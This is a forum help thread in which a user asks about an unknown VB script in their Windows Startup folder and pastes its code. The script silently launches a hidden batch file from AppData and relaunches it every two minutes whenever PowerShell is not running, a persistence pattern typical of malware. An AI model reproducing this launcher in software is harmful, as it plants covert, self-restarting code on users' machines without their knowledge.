Ralston18 :
In Task Manager:
Any publisher listed? Status? Startup Impact?
Where is the VB script file located?
The folder path may provide a clue?
Also check the Properties menu choice. May find some additional information via the tabs therein.
C:\Users\[USER]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup Thats the file location
I have it disabled cuz I dont know what that is.
Dim WinScriptHost
WScript.Sleep(30000)
Set WinScriptHost = CreateObject("WScript.Shell")
WinScriptHost.Run Chr(34) & "%USERPROFILE%\appdata\file.bat" & Chr(34), 0
While True
set service = GetObject ("winmgmts:")
running = 0
for each Process in Service.InstancesOf ("Win32_Process")
If Process.Name = "powershell.exe" then
running = running + 1
End If
next
If running < 1 then
WinScriptHost.Run Chr(34) & "%USERPROFILE%\appdata\file.bat" & Chr(34), 0
End If
WScript.Sleep(120000)
Wend
Set WinScriptHost = Nothing
And this is the script itself.. Thats all I can find about it now